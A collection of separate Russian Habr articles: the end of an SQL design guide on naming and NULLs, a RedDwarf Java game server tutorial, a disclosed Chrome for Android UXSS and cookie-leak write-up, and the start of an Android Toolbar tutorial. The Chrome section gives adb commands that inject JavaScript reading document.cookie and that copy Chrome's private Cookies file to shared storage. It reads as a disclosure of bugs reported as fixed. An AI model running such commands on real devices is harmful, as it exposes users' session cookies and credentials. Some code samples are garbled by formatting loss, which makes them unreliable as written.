Если у вас есть ограничения по внешним ключам, по мере возможности давайте идентичные названия колонкам на обеих сторонах ограничения. Вот идеально продуманный, разумный SQL:
```
SELECT *
FROM some_table s
JOIN some_other_table o
ON o.owner = s.person_id;
```
C этим кодом действительно всё в порядке. Но когда вы посмотрите определение таблицы, то увидите, что у `some_other_table.owner` есть ограничение по внешнему ключу с `companies.company_id`. Так что, по сути, этот SQL ошибочен. Нужно было использовать идентичные имена:
```
SELECT *
FROM some_table s
JOIN some_other_table o
ON o.company_id = s.person_id;
```
Теперь сразу понятно, что у нас баг, вам достаточно проверить одну строку кода и не обращаться к определению таблицы.
Однако хочу отметить, что так не всегда можно сделать. Если у вас есть таблица с исходным складом и конечным, то вы можете захотеть сравнить `source_id` с `destination_id` с `warehouse_id`. В таком случае лучше дать названия `source_warehouse_id` и `destination_warehouse_id`.
Также отмечу, что в приведённом примере `owner` будет лучше описывать назначение, чем `company_id`. Если вам кажется, что это приведёт к путанице, можете назвать колонку `owning_company_id`. Тогда название подскажет вам назначение колонки.
Избегайте значений NULL
=======================
Этот совет известен многим опытным разработчикам баз данных, но, к сожалению, говорят о нём недостаточно часто: без уважительной причины не допускайте наличия в БД NULL-значений.
Это важная, но достаточно сложная тема. Сначала обсудим теорию, затем — её влияние на архитектуру БД, и в заключение разберём практический пример серьёзных проблем, вызванных наличием NULL-значений.
Типы баз данных
---------------
В базе могут быть данные разных *типов*: INTEGER, JSON, DATETIME и т. д. Тип ассоциирован с колонкой и любое добавленное в неё значение должно соответствовать этому типу.
Но что такое тип? Это наименование, набор допустимых значений и набор допустимых операций. Они помогают нам избегать нежелательного поведения. Например, в что произойдёт в Java, если вы попытаетесь сравнить строку и число?
```
CustomerAccount.java:5: error: bad operand types for binary operator '>'
if ( current > threshold ) {
^
first type: String
second type: int
```
Даже если вы не замечаете, что `current > threshold` сравнивает не сравнимые типы, компилятор это выловит за вас.
По иронии, базы данных, которые хранят ваши данные — и являются вашей последней линией обороны от повреждения данных — ужасно работают с типами! Просто отвратительно. Например, если в вашей таблице `customers` есть суррогатный цифровой ключ, вы можете сделать так:
```
SELECT name, birthdate
FROM customers
WHERE customer_id > weight;
```
Конечно, в этом нет смысла и в реальности вы получите ошибку компилирования. Многие языки программирования облегчают вылавливание подобных ошибок типов, но с базами данных всё наоборот.
Это нормальная ситуация в мире БД, вероятно, потому, что [первый стандарт SQL вышел в 1992-м](https://www.contrib.andrew.cmu.edu/~shadow/sql/sql1992.txt). В те годы компьютеры были медленными, и всё, что усложняло реализацию, несомненно замедляло и базы данных.
И тут на сцене появляются NULL-значения. SQL-стандарт правильно реализовал их только в одном месте, в предикатах `IS NULL` и `IS NOT NULL`. Поскольку NULL-значение по определению неизвестно, у вас не может быть разработанных для него операторов. И поэтому существуют `IS NULL` и `IS NOT NULL` вместо `= NULL` и `!= NULL`. А любое сравнение NULL-значений приводит к появлению нового NULL-значения.
Если для вас это звучит странно, то станет куда проще, если вы напишете «unknown» вместо NULL:
> Сравнение ~~NULL~~ неизвестных значений приводит к появлению ~~NULL~~ неизвестных значений.
Ага, теперь понятно!
Что означает NULL-значение?
---------------------------
Вооружившись крохами теории, рассмотрим её практические следствия.
Вам нужно выплатить бонус в $500 всем сотрудникам, чья зарплата за год составила больше $50 тыс. Вы пишете такой код:
```
SELECT employee_number, name
FROM employees
WHERE salary > 50000;
```
И вас только что уволили, потому что ваш начальник заработал больше $50 тыс., но его зарплата отсутствует в БД (в колонке `employees.salary` стоит NULL), а оператор сравнения не может сравнивать NULL с 50 000.
А почему в этой колонке есть NULL? Может быть, зарплата конфиденциальна. Может быть, информация ещё не поступила. Может быть, это консультант и не получает зарплату. Может быть, у него почасовая оплата, а не зарплата. Есть *много* причин, почему данные могут отсутствовать.
Наличие или отсутствие информации в колонке предполагает, что это зависит от чего-то *другого*, а не от денормализации первичного ключа и базы данных. Таким образом, колонки, в которых могут быть NULL-значения, являются хорошими кандидатами для создания новых таблиц. В таком случае у вас могут быть таблицы `зарплата`, `почасовая_оплата`, `не_твоё_дело` и т. д. Вы всё ещё уволены за слепое объединение зарплат и отсутствие таковой у вашего начальника. Но зато ваша база начинает предоставлять вам достаточно информации, чтобы вы предположили, что проблема представляет собой нечто большее, чем вопрос с зарплатами.
И да, это был глупый пример, но он стал последней каплей.
NULL-значения приводят к логически невозможным ситуациям
--------------------------------------------------------
Вам может показаться, что я педантичен в отношении NULL-значений. Однако давайте рассмотрим ещё один пример, который гораздо ближе к реальности.
Несколько лет назад я работал в Лондоне на регистратора доменов и пытался понять, почему 80-строчный SQL-запрос возвращает некорректные данные. В той ситуации информация однозначно должна была возвращаться, но этого не происходило. Стыдно признать, но у меня ушёл день на то, чтобы понять, что причиной была такая комбинация условий:
* Я использовал OUTER JOIN.
* Они легко могли генерировать NULL-значения.
* NULL-значения могут привести к тому, что SQL даст некорректный ответ.
Многие разработчики не знают о последнем аспекте, поэтому давайте обратимся к примеру из книги [Database In Depth](https://www.amazon.com/Database-Depth-Relational-Theory-Practitioners/dp/0596100124/). Простая схема из двух таблиц:
`suppliers`
| | |
| --- | --- |
| supplier\_id | city |
| s1 | London |
`parts`
| | |
| --- | --- |
| part\_id | city |
| p1 | NULL |
Трудно подобрать более простой пример.
Этот код возвращает `p1`.
```
SELECT part_id
FROM parts;
```
А что сделает этот код?
```
SELECT part_id
FROM parts
WHERE city = city;
```
Он ничего не вернёт, потому что нельзя сравнивать NULL-значение, даже с другим NULL или тем же самым NULL. Это выглядит странно, потому что город в каждой строке должен быть одним и тем же, даже если мы его не знаем, правильно? Тогда что вернёт следующий код? Попробуйте это понять, прежде чем читать дальше.
```
SELECT s.supplier_id, p.part_id
FROM suppliers s, parts p
WHERE p.city <> s.city
OR p.city <> 'Paris';
```
Мы не получили в ответ строки, потому что не можем сравнивать город `NULL` (`p.city`), и поэтому ни одна из веток условия `WHERE` не приведёт к `true`.
Однако мы знаем, что неизвестный город либо Париж, либо не Париж. Если это Париж, то первое условие будет истинным (`<> 'London'`). Если это не Париж, то истинным будет второе условие (`<> 'Paris'`). Таким образом, условие `WHERE` должно быть `true`, но оно им не является, и в результате SQL генерирует логически невозможный результат.
Это был баг, с которым я столкнулся в Лондоне. Каждый раз, когда вы пишете SQL, который может генерировать или содержать NULL-значения, вы рискуете получить ложный результат. Такое бывает нечасто, но очень трудно выявляется.
Итог
====
* Используйте `имена_с_подчёркиванием` вместо `CamelCase`.
* Имена таблиц должны быть во множественном числе.
* Давайте расширенные названия для полей с идентификаторами (`item_id` вместо `id`).
* Избегайте неоднозначных названий колонок.
* По мере возможности именуйте колонки с внешними ключами так же, как колонки, на которые они ссылаются.
* По мере возможности добавляйте NOT NULL во все определения колонок.
* По мере возможности избегайте написания SQL, который может генерировать NULL-значения.
Пусть и несовершенное, но это руководство по проектированию баз данных облегчит вам жизнь. | https://habr.com/ru/post/484188/ | null | ru | null |
# Reddwarf для создания Java-сервера на примере онлайн-игры «Камень-ножницы-бумага»: Сервер
В статье [RedDwarf — cерверная платформа для разработки онлайн-игр на Java](http://habrahabr.ru/blogs/gdev/129174/) я рассказал об особенностях этой платформы для создания игровых серверов. В данной статье я попробую показать на примере, как написать сервер и использованием RedDwarf.
В качестве примера решено было написать онлайн-реализацию игры «Камень-Ножницы-Бумага».
В этой статье мы напишем сервер и попробуем его запустить. В [следующей статье](http://habrahabr.ru/blogs/gdev/138039/) напишем для этого сервера небольшой клиент и проверим их работоспособность.
#### Подготовка к работе
Для начала необходимо закачать сервер Reddwarf в архиве sgs-server-dist-0.10.2.zip [отсюда](http://sourceforge.net/projects/reddwarf/files/0.10.2/sgs-server-dist-0.10.2.zip/download) и распаковать содержимое в папку sgs-server-dist-0.10.2.
#### Создание проекта
Создадим проект в любимой среде разработки.
Проект будет простой, поэтому maven использовать не будем.
Для разработки нужна библиотека sgs-server-api-0.10.2.jar из директории sgs-server-dist-0.10.2\lib\
Создаем папку META-INF, в ней должен находиться файл манифеста MANIFEST.MF. Без него платформа отказывается работать с jar-файлом проекта. У меня файл содержит только одну строчку:
Manifest-Version: 1.0
Также в папке META-INF необходимо создать файл app.properties. В этом файле содержатся настройки запуска сервера. Для нашего проекта файл содержит следующие свойства:
```
# Название игры. Служит уникальным идентификатором игры при старте сервера
com.sun.sgs.app.name=RockPaperScissors
# Класс, реализующий интерфейс AppListener и служащий точкой запуска приложения
com.sun.sgs.app.listener=hello.reddwarf.server.Server
# Имя директории, в которой будет храниться база данных игры
com.sun.sgs.app.root=data
```
Это минимальный необходимый набор опций. При разработке могут быть ещё полезны следующие свойства:
* ***com.sun.sgs.impl.transport.tcp.listen.port*** — порт, на котором слушает сервер (по умолчанию 62964)
* ***com.sun.sgs.app.authenticators*** — имена классов, отвечающих за аутентификацию (процесс аутентификации вынесен из игровой логики и может идти независимым модулем)
* ***com.sun.sgs.impl.service.session.allow.new.login*** — позволять ли подключаться уже подключенным игрокам с другого клиента. Если true, то того, кто сейчас в игре выкидывает. Если false, не позволяет подключаться с другого клиента.
Подробнее о других свойствах можно почитать в [документации](http://www.reddwarfserver.org/javadoc/current/server-all/com/sun/sgs/impl/kernel/doc-files/config-properties.html).
#### Архитектура игры
Для игры потребуются следующие сущности.
**Server** — класс, хранящий список игроков онлайн и занимающийся обработкой их подключения.
**Player** — представляет собой игрока. Игрок имеет следующие атрибуты: имя (оно же логин) и количество очков. Может участвовать в битве.
**Battle** — представляет собой битву. В этом объекте происходит ожидание ответов игроков и определение победителя. Хранит в себе ссылки на двух игроков.
**Weapon** — простое перечисление видов оружия: непосредственно камень, ножницы и бумага.
Если изобразить в виде диаграммы классов, получается вот что:
Все игровые сущности (кроме Weapon) во время работы сервера хранятся во внутренней базе данных, обеспечивающей транзакционность, ссылаются друг на друга, поэтому они должны реализовывать интерфейсы java.io.Serializable и com.sun.sgs.app.ManagedObject.
##### Класс Server. Инициализация и подключение игрока
Класс Server является точкой запуска сервера, поэтому должен реализовывать интерфейс com.sun.sgs.app.AppListener:
`void initialize(Properties props)` вызывается при первом запуске сервера. Он заполняет внутреннюю базу данных необходимыми для работы начальными значениями. Важная особенность: если сервер остановить (или убить), а потом снова запустить, этот метод вызываться *не будет*, т.к. внутренняя база данных хранится между запусками сервера и позволяет продолжить работу с момента остановки.
`ClientSessionListener loggedIn(ClientSession session)` вызывается после успешной аутентификации и должен вернуть объект, олицетворяющий игрока. В нашем примере это будет Player.
Все игроки, подключенные к серверу, будут хранится в специальной коллекции. В Reddwarf для игровых сущностей существует специальная коллекция ScalableHashMap. Достоинства этой коллекции в том, что при изменениях она блокируется (имеется в виду блокировка во внутренней БД) не целиком, а частично. Причем в объекте Server хранить будем не саму коллекцию, а ссылку на нее (ManagedReference).
Переходя от слов к делу, получаем следующий код:
```
package hello.reddwarf.server;
import java.io.Serializable;
import com.sun.sgs.app.*;
import com.sun.sgs.app.util.ScalableHashMap;
import java.util.Properties;
/**
* Сервер игры. Этот класс автоматически загружается платформой,
* инициализируется и его платформа уведомляет о новых подключениях.
*/
public class Server implements AppListener, Serializable, ManagedObject {
public ManagedReference> onlinePlayersRef;
@Override
public void initialize(Properties props) {
// Создаем коллекцию для игроков онлайн
ScalableHashMap onlinePlayers = new ScalableHashMap();
onlinePlayersRef = AppContext.getDataManager().createReference(onlinePlayers);
}
@Override
public ClientSessionListener loggedIn(ClientSession session) {
String name = session.getName();
// Подключился пользователь. Необходимо загрузить его из базы данных, либо зарегистрировать нового
Player player = loadOrRegister(name);
// Установим игроку сессию. Сессия - это объект, через который осуществляется
// сетевое взаимодействие - отсылка сообщений на клиент
player.setSession(session);
// Уведомляем игрока о том, что он подключился
player.connected();
// Добавим его в список онлайн-игроков
onlinePlayersRef.get().put(player.name, player);
return player;
}
}
```
Для работы с базой данных используется DataManager, который позволяет писать в БД, читать из БД и создавать ссылки ManagedReference. Поскольку база данных представляет собой key-value хранилище, то в качестве ключа используется имя игрока с префиксом «player.», в значение же сериализуется объект Player целиком. Напишем функцию загрузки игрока из базы (если игрок не найден в базе, создадим его).
```
private Player loadOrRegister(String name) {
try {
return (Player) AppContext.getDataManager().getBindingForUpdate("player." + name);
} catch (NameNotBoundException e) {
// Попытка загрузить объект и перехват исключения -
// единственный способ узнать, есть ли такой объект в базе
Player player = new Player(name, this);
AppContext.getDataManager().setBinding("player." + name, player);
return player;
}
}
```
##### Класс Player и протокол
Пришла очередь создать класс Player. Этот класс олицетворяет игрока и получает от платформы уведомления о пришедших сообщениях. А значит, самое время поговорить о протоколе. Reddwarf дает возможность работать с входящими и исходящими сообщениями как с массивом байт, оставляя реализацию протокола на усмотрение разработчика игры. Для игры «Камень-ножницы-бумага» будем использовать простой текстовый протокол.
(сервер --> клиент) **SCORE <число>** — сервер сообщает игроку количество очков
(клиент --> сервер) **PLAY** — запрос игрока на начало игры
(сервер --> клиент) **BATLE <имя>** — началась битва с указанным игроком
(сервер --> клиент) **ERROR** — игрок для битвы не найден (никого на сервере нет или все в битве)
(клиент --> сервер) **ROCK** — игрок говорит «Камень»
(клиент --> сервер) **SCISSORS** — игрок говорит «Ножницы»
(клиент --> сервер) **PAPER** — игрок говорит «Бумага»
(сервер --> клиент) **DRAW** — ничья
(сервер --> клиент) **WON** — игрок победил
(сервер --> клиент) **LOST** — игрок проиграл
Из протокола можно понять последовательность действий и возможности игрока, поэтому отдельно на этом останавливаться не будем.
Кодировать текст в байты и обратно можно с помощью данного кода:
```
package hello.reddwarf.server;
import java.nio.ByteBuffer;
public class Messages {
public static ByteBuffer encodeString(String s) {
return ByteBuffer.wrap(s.getBytes());
}
public static String decodeString(ByteBuffer message) {
byte[] bytes = new byte[message.remaining()];
message.get(bytes);
return new String(bytes);
}
}
```
Теперь переходим к написанию объекта игрока.
Игрок будет хранить у себя следующие поля:
* имя
* количество очков
* ссылка на сервер (чтобы иметь доступ к списку онлайн-игроков)
* ссылка на сессия (чтобы отправлять сообщения на клиент)
* ссылка на битва (если игрок сейчас в битве, иначе null)
```
package hello.reddwarf.server;
import com.sun.sgs.app.*;
import com.sun.sgs.app.util.ScalableHashMap;
import java.io.Serializable;
import java.nio.ByteBuffer;
import java.util.*;
public class Player implements Serializable, ManagedObject, ClientSessionListener {
private final static Random random = new Random();
public final String name;
private int score;
// Ссылка на сессию, через которую можно отправлять сообщения на клиент
private ManagedReference sessionRef;
// Ссылка на сервер для доступа к списку онлайн-игроков
private ManagedReference serverRef;
// Ссылка на текущую битву. Если игрок не в битве - значение этого поля null
private ManagedReference battleRef;
public Player(String name, Server server) {
this.name = name;
serverRef = AppContext.getDataManager().createReference(server);
score = 0;
}
@Override
public void receivedMessage(ByteBuffer byteBuffer) {
// При получении сообщения разбираем его и вызываем соответствующий метод
String message = Messages.decodeString(byteBuffer);
if (message.equals("PLAY")) {
play();
} else if (message.equals("ROCK")) {
answer(Weapon.ROCK);
} else if (message.equals("PAPER")) {
answer(Weapon.PAPER);
} else if (message.equals("SCISSORS")) {
answer(Weapon.SCISSORS);
}
}
@Override
public void disconnected(boolean b) {
serverRef.get().disconnect(this);
}
private void answer(Weapon weapon) {
if (battleRef != null) {
battleRef.getForUpdate().answer(this, weapon);
}
}
private void play() {
logger.info("Choosing enemy for "+name);
// Выберем случайного игрока из списка онлайн и начнем битву
Player target = getRandomPlayer();
if (target != null && target.battleRef == null) {
Battle battle = new Battle(this, target);
this.sessionRef.get().send(Messages.encodeString("BATTLE " + target.name));
target.sessionRef.get().send(Messages.encodeString("BATTLE " + this.name));
target.battleRef = AppContext.getDataManager().createReference(battle);
this.battleRef = target.battleRef;
battle.start();
} else {
this.sessionRef.get().send(Messages.encodeString("ERROR"));
}
}
/\*\*
\* Поиск случайного соперника (кроме самого игрока)
\* Если никого найти не удалось, возвращается null
\* @return случайный соперник или null, если не найден
\*/
private Player getRandomPlayer() {
ScalableHashMap onlineMap = serverRef.get().onlinePlayersRef.get();
Set namesSet = new HashSet(onlineMap.keySet());
namesSet.remove(name);
if (namesSet.isEmpty()) {
return null;
} else {
ArrayList namesList = new ArrayList(namesSet);
String randomName = namesList.get(random.nextInt(namesList.size()));
return onlineMap.get(randomName);
}
}
public void connected() {
// При подключении к серверу сообщим клиенту, сколько у нас очков
sessionRef.get().send(Messages.encodeString("SCORE " + score));
}
/\*\*
\* Бой закончен, игрок уведомляется о результате боя
\*/
public void battleResult(Battle.Result result) {
switch (result) {
case DRAW:
score+=1;
sessionRef.get().send(Messages.encodeString("DRAW"));
break;
case WON:
score+=2;
sessionRef.get().send(Messages.encodeString("WON"));
break;
case LOST:
sessionRef.get().send(Messages.encodeString("LOST"));
break;
}
sessionRef.get().send(Messages.encodeString("SCORE " + score));
battleRef = null;
}
public void setSession(ClientSession session) {
sessionRef = AppContext.getDataManager().createReference(session);
}
}
```
##### Классы Weapon и Battle
Перечисление Weapon очень простое и комментариев не требует.
```
package hello.reddwarf.server;
public enum Weapon {
ROCK,
PAPER,
SCISSORS;
boolean beats(Weapon other) {
return other != null && this != other && this.ordinal() == (other.ordinal() + 1) % values().length;
}
}
```
Переходим к битве.
Битва имеет уникальный идентификатор, содержит ссылки на двух игроков, данные ими ответы, а также флаг активности.
Как только битва создана, запускается отдельная задача, которая завершит битву через 5 секунд.
По прошествии этого времени подводятся итоги битвы. Если ответ дал только один из игроков, то он считается победителем, если оба — победитель определяется по обычным правилам «Камень-ножницы-бумага».
Задача ставится на исполнение с помощью сервиса TaskManager, который можно получить с помощью AppContext.getTaskManager(). Этот менеджер позволяет запускать задачи, выполняемые в отдельной транзакции либо сразу, либо через заданный промежуток времени, либо периодически. Как и следует ожидать, все задачи также хранятся во внутренней БД, а значит, будут выполняться и после перезапуска сервера.
Итак, код класса Battle.
```
package hello.reddwarf.server;
import com.sun.sgs.app.AppContext;
import com.sun.sgs.app.ManagedObject;
import com.sun.sgs.app.ManagedReference;
import com.sun.sgs.app.Task;
import java.io.Serializable;
import java.util.concurrent.atomic.AtomicInteger;
public class Battle implements ManagedObject, Serializable {
// Битва длится 5 секунд
private static final long BATTLE_TIME_MS = 5000;
enum Result {
DRAW,
WON,
LOST
}
private boolean active;
private ManagedReference starterPlayerRef;
private ManagedReference invitedPlayerRef;
private Weapon starterWeapon = null;
private Weapon invitedWeapon = null;
public Battle(Player starterPlayer, Player invitedPlayer) {
starterPlayerRef = AppContext.getDataManager().createReference(starterPlayer);
invitedPlayerRef = AppContext.getDataManager().createReference(invitedPlayer);
active = false;
}
/\*\*
\* Начало игры.
\* Запускается игра, через BATTLE\_TIME\_MS мс она будет завершена.
\*/
public void start(){
active = true;
AppContext.getTaskManager().scheduleTask(new BattleTimeout(this), BATTLE\_TIME\_MS);
}
/\*\*
\* Игрок дал свой ответ.
\* Записываем ответ, данный игроком.
\* @param player - игрок
\* @param weapon - его ответ
\*/
public void answer(Player player, Weapon weapon){
if (active) {
if (player.name.equals(starterPlayerRef.get().name)) {
starterWeapon = weapon;
} else {
invitedWeapon = weapon;
}
}
}
/\*\*
\* Битва завершена.
\* Подводим итоги.
\*/
private void finish() {
active = false;
Player starterPlayer = starterPlayerRef.getForUpdate();
Player invitedPlayer = invitedPlayerRef.getForUpdate();
if (starterWeapon != null && starterWeapon.beats(invitedWeapon)) {
starterPlayer.battleResult(Result.WON);
invitedPlayer.battleResult(Result.LOST);
} else if (invitedWeapon != null && invitedWeapon.beats(starterWeapon)) {
invitedPlayer.battleResult(Result.WON);
starterPlayer.battleResult(Result.LOST);
} else {
starterPlayer.battleResult(Result.DRAW);
invitedPlayer.battleResult(Result.DRAW);
}
AppContext.getDataManager().removeObject(this);
}
/\*\*
\* Задача, завершаюшая игру по прошествии заданного времени.
\*/
private static class BattleTimeout implements Serializable, Task {
private ManagedReference battleRef;
public BattleTimeout(Battle battle) {
battleRef = AppContext.getDataManager().createReference(battle);
}
@Override
public void run() throws Exception {
battleRef.getForUpdate().finish();
}
}
}
```
При чтении данного кода может возникнуть вопрос: «Почему внутренний класс BattleTimeout сделан статическим и хранит в себе ссылку на battle в явном виде? Можно же объявить его нестатическим и обращаться к полям Battle напрямую».
Дело в том, что нестатический внутренний класс будет хранить ссылку на родительский Battle в неявном виде и обращаться к Battle через нее. Но особенности платформы Reddwarf (транзакционность) запрещают обращаться к ManagedObject (которым является Battle) из другой транзакции напрямую: в таком случае будет выброшено исключение, т.к. прямая ссылка на объект в другой транзакции некорректна. Именно с этим связана рекомендация создателей платформы использовать только статические внутренние классы.
Отдельно хочется отметить получение managed-объекта по ссылке.
В вышеприведенном коде для ManagedReference используются как метод get(), так и getForUpdate().
В принципе, можно использовать только get(). Использование getForUpdate() позволяет серверу ещё до завершения транзакции знать, какие объекты будут изменены и в случае обнаружения конфликтующих транзакций отменить задачу чуть раньше. Это дает некоторый выигрыш в скорости по сравнению с использованием get().
Наконец наш сервер почти готов.
Добавим немного логирования (для простоты используем java.util.logging) и можно собирать проект.
В результате сборки мы должны получить jar-файл, допустим, deploy.jar.
Если вы не хотите собирать это всё вручную, готовый файл deploy.jar можно взять [отсюда](http://reddwarf-rock-paper-scissors-example.googlecode.com/files/deploy.jar).
Этот файл необходимо поместить в sgs-server-dist-0.10.2\dist.
Теперь, находясь в директории sgs-server-dist-0.10.2 выполняем следующую команду:
```
java -jar bin/sgs-boot.jar
```
В результате чего в консоли можно увидеть следующее:
```
фев 02, 2012 9:45:19 PM com.sun.sgs.impl.kernel.Kernel
INFO: The Kernel is ready, version: 0.10.2.1
фев 02, 2012 9:45:19 PM com.sun.sgs.impl.service.data.store.DataStoreImpl
INFO: Creating database directory : C:\sgs-server-dist-0.10.2.1\data\dsdb
фев 02, 2012 9:45:19 PM com.sun.sgs.impl.service.watchdog.WatchdogServerImpl registerNode
INFO: node:com.sun.sgs.impl.service.watchdog.NodeImpl[1,health:GREEN,backup:(none)]@black registered
фев 02, 2012 9:45:19 PM hello.reddwarf.server.Server initialize
INFO: Starting new Rock-Paper-Scissors Server. Initialized database.
фев 02, 2012 9:45:19 PM com.sun.sgs.impl.kernel.Kernel startApplication
INFO: RockPaperScissors: application is ready
```
Ура! Сервер запустился! Теперь можно заняться клиентом:
[Reddwarf на примере онлайн-игры «Камень-ножницы-бумага»: Клиент](http://habrahabr.ru/blogs/gdev/138039/)
#### Ссылки
[Javadoc по API сервера](http://www.reddwarfserver.org/javadoc/current/server-api/)
[Документация, собранная сообществом](http://sourceforge.net/apps/trac/reddwarf/wiki/Documentation)
[Форум проекта](http://sourceforge.net/apps/phpbb/reddwarf/index.php) | https://habr.com/ru/post/134812/ | null | ru | null |
# Google Chrome для Android: уязвимость UXSS и раскрытие учетных данных
[](http://habrahabr.ru/company/pt/blog/158485/)Итак, начнем. В июле 2011 года Roee Hay и Yair Amit из IBM Research Group обнаружили [UXSS-уязвимость](http://blog.watchfire.com/files/advisory-android-browser.pdf) в используемом по умолчанию браузере Android. Эта ошибка позволяет вредоносному приложению внедрить JavaScript-код в контекст произвольного домена и захватить файлы Cookies или произвести другие вредоносные действия. Эта уязвимость была устранена в версии Android 2.3.5.
21 июня 2012 года для Android был выпущен Google Chrome. Я смог найти в нем весьма интересные ошибки. Взгляните сами.
#### Уязвимость UXSS
Как и ожидалось, эта уязвимость не затрагивает активити “Main” Хрома. Однако давайте рассмотрим файл **AndroidManifest.xml** из **Chrome .apk**.
Очевидно, что класс **com.google.android.apps.chrome.SimpleChromeActivity** можно вызвать из другого приложения, если в нем объявлена директива .
Декомпилируйте **classes.dex** из apk и взгляните на класс **SimpleChromeActivity**.
В представленном выше методе **onCreate** можно заметить, что новый URL будет загружен в текущей, а не новой вкладке.
Существует два способа запустить эту активность: посредством Android API или Activity Manager. Вызов из Android API немного сложен, поэтому я использовал команду «am» из оболочки adb.
```
shell@android:/ $ am start -n com.android.chrome/com.google.android.apps.chrome.SimpleChromeActivity -d 'http://www.google.ru'
```
Мне кажется, эта проблема с отображением содержимого не связана с безопасностью. Судя по заголовку, Chrome загрузил [www.google.ru](http://www.google.ru) в **SimpleChromeActivity** вместо **Main**, а эта активность имеет доступ к базе Cookies в Chrome. Следующим шагом будет внедрение кода JavaScript.
```
shell@android:/ $ am start -n com.android.chrome/com.google.android.apps.chrome.SimpleChromeActivity -d 'javascript:alert(document.cookie)'
```
Вот и все, JavaScript был исполнен в контексте домена [www.google.ru](http://www.google.ru).
#### Раскрытие учетных данных
Другая проблема — автоматическая загрузка файлов —стала настоящей головной болью при использовании браузеров, подобных Chrome. Если вы открыли бинарный файл в браузере Chrome, то он загрузится в каталог **SDCard** без вашего подтверждения. То же самое происходило и в стандартном браузере, в котором такая опция использовалась [вредоносной программной NonCompatible](http://blog.mylookout.com/blog/2012/05/02/security-alert-hacked-websites-serve-suspicious-android-apps-noncompatible/). Вы можете спросить, как это связано с раскрытием учетных данных. Взгляните на каталог Chrome в системе.
Только Chrome app может читать эти файлы (такие как Cookies, History и т.д.). Выглядит безопасно. Попробуйте запустить Chrome, используя file:// wrapper, и открыть файл Cookies.
```
shell@android:/ $ am start -n com.android.chrome/com.android.chrome.Main -d 'file:///data/data/com.android.chrome/app_chrome/Default/Cookies'
```
После запуска браузера Cookies будут загружаться/копироваться в **/sdcard/Downloads/Cookies.bin**, и любое приложение в системе сможет их прочитать.
*Я предоставил подробную информацию команде безопасности Chromium, и эти ошибки были устранены в версии 18.0.1025308.*
Ссылки:
<http://code.google.com/p/chromium/issues/detail?id=138035>
<http://code.google.com/p/chromium/issues/detail?id=138210>
Автор: Артем Чайкин ([artemchaykin](https://habrahabr.ru/users/artemchaykin/)). | https://habr.com/ru/post/158485/ | null | ru | null |
# Material Design. Динамический Toolbar на живом примере
Уверен, что те, кто следят за изменениями в мире Android, заметили, что Toolbar начинает играть в приложениях всё более значимую роль. Например в последней версии Gmail клиента в Toolbar вынесен почти весь функционал по работе с почтой, а в новом Google Chrome Toolbar отвечает за работу с текстом страниц.
В данной статье я постараюсь рассказать о создании динамического Toolbar, который позволит пользователю работать с контентом четырьмя различными способами в рамках одного Activity. Мы рассмотрим весь процесс разработки Toolbar-a начиная с xml файлов стилей и заканчивая анимацией иконок, а в конце статьи я оставлю ссылку на GitHub репозиторий с примером полностью рабочего приложения.
Начнём с постановки задачи
--------------------------
Мы будем разрабатывать Toolbar для приложения, которое позволит пользователю следить за изменениями цен на акции. На главном экране будет расположен список всех акций, за которыми следит пользователь, мы также должны реализовать базовый функционал: удаление, поиск и сортировку акций. Вот так я реализовал этот функционал с помощью динамического Toolbar-a:
| Стандартный режим | Режим поиска | Режим удаления | Режим сортировки |
| --- | --- | --- | --- |
| | | | |
Создаём xml файлы конфигураций
------------------------------
Итак, в первую очередь нам нужно создать xml файл самого Toolbar-a. Я советую сделать это в отдельном файле, так как в будущем мы скорее всего захотим использовать один и тот же (или похожий) Toolbar во всех Activity нашего приложения.
**res/layout/toolbar.xml**
```
xml version="1.0" encoding="utf-8"?
```
Теперь мы можем добавить toolbar.xml в xml Activity следующим образом:
**res/layout/activity\_main.xml**
```
```
Поскольку в нашем Toolbar будет располагаться виджет поиска, мы можем настроить его внешний в вид в файле **styles.xml** нашего приложения. В 21 версии Android SDK появилось гораздо больше возможностей для кастомизации виджета поиска (SearchView Widget), вы можете посмотреть полный список атрибутов по этой ссылке: [AppCompat v21 — Material Design for Pre-Lollipop Devices!](http://android-developers.blogspot.co.il/2014/10/appcompat-v21-material-design-for-pre.html) В этом же файле мы зададим цвет нашего Toolbar.
**res/values/styles.xml**
```
<item name="colorPrimaryDark">@color/status\_bar\_orange</item>
<item name="searchViewStyle">@style/AppSearchViewStyle</item>
<item name="android:textCursorDrawable">@drawable/white\_cursor</item>
<item name="queryBackground">@android:color/transparent</item>
<item name="searchIcon">@drawable/icon\_toolbar\_search</item>
<item name="closeIcon">@drawable/icon\_toolbar\_clear</item>
<item name="queryHint">@string/search\_hint</item>
<item name="android:imeActionId">6</item>
```
И наконец создадим файл со списком всех элементов нашего Toolbar-а. Тут у нас есть несколько вариантов:
* В начале создать только те элементы, которые будут видны в стандартном режиме, а затем в коде добавлять или удалять элементы при переходе между режимами.
* Сразу создать все существующие элементы в xml файле, а в коде просто управлять их видимостью.
Я выбрал второй вариант так как у нас не так много элементов внутри Toolbar и нам нет смысла экономить память храня в ней только видимые элементы.
Также существует два способа создания элементов Toolbar:
* Создавать элементы внутри меню (Menu), как экземпляры класса MenuItem. Этот способ использовался в предыдущих версиях Анрдроид (API Level < 21), когда еще не было Toolbar.
* Создавать все элементы, как обычные View внутри файла **toolbar.xml**.
Я решил использовать способ с меню потому, что во-первых, так нам не нужно создавать свой лейаут для Toolbar-а. Во-вторых, у нас не будет проблем с обратной совместимостью и в-третьих, мы избежим конфликтов между Toolbar и Navigation Drawer (боковое меню присутствующие в приложении и управляющиеся с помощью ActionBarDrawerToggle, который в свою очередь работает с MenuItem)
**res/menu/menu\_activity\_main.xml**
```
xml version="1.0" encoding="utf-8"?
```
Добавляем Toolbar к Activity
----------------------------
Все xml файлы созданы и теперь мы можем добавить Toolbar к Activity. Для начала перезапишем метод **onCreateOptionsMenu**, который отвечает за инициализацию меню.
```
@Override
public boolean onCreateOptionsMenu(Menu menu) {
getMenuInflater().inflate(R.menu.menu_activity_main, menu);
return true;
}
```
Теперь зададим Toolbar, как ActioanBar, это обеспечит нам обратную совместимость с предыдущими версиями Android (API Level < 21).
```
@Override
protected void onCreate(Bundle savedInstanceState) {
Toolbar mActionBarToolbar = (Toolbar) findViewById(R.id.toolbar_actionbar);
setSupportActionBar(mActionBarToolbar);
}
```
Управление элементами Toolbar
-----------------------------
Полный код отвечающий за управление элементами вы можете посмотреть в репозитории примера на github, а в статье мы остановимся на основных методах:
* Метод **onOptionsItemSelected(MenuItem item)** — вызывается при любом нажатии по элементу внутри Toolbar
